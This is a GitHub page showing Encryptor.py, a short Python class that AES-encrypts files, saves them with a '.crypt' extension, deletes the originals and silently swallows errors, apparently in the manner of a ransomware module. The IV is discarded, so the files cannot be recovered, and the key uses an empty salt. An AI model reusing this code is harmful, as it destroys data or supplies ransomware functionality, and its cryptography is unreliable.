-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathEncryptor.py
More file actions
41 lines (33 loc) · 1.32 KB
/
Encryptor.py
File metadata and controls
41 lines (33 loc) · 1.32 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import os
from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2
class Encryptor:
keyHash = b''
def __init__(self, key):
# Generating a 128 bit key from the original key
self.keyHash = PBKDF2(key, salt='', dkLen=16)
def encrypt(self, data):
try:
# Creating a 'cipher' object for using AES encryption in CFB mode
cipher = AES.new(key=self.keyHash, mode=AES.MODE_CFB)
return cipher.encrypt(data)
except:
pass
def encrypt_file(self, filePath):
try:
if(os.path.splitext(filePath)[1] != ".crypt"):
# Reading the original file in bytes to get its plain text
with open(filePath, 'rb') as fo:
plaintext = fo.read()
enc = self.encrypt(plaintext)
# Changing the file name to replace with custom extension "crypt"
encryptedFilePath = os.path.splitext(filePath)[0] + ".crypt"
# Creating and opening file to write the encoded file
with open(encryptedFilePath, 'wb') as fo:
fo.write(enc)
print("Encrypted: " + filePath)
os.remove(filePath)
else:
print("File already encrypted!")
except:
pass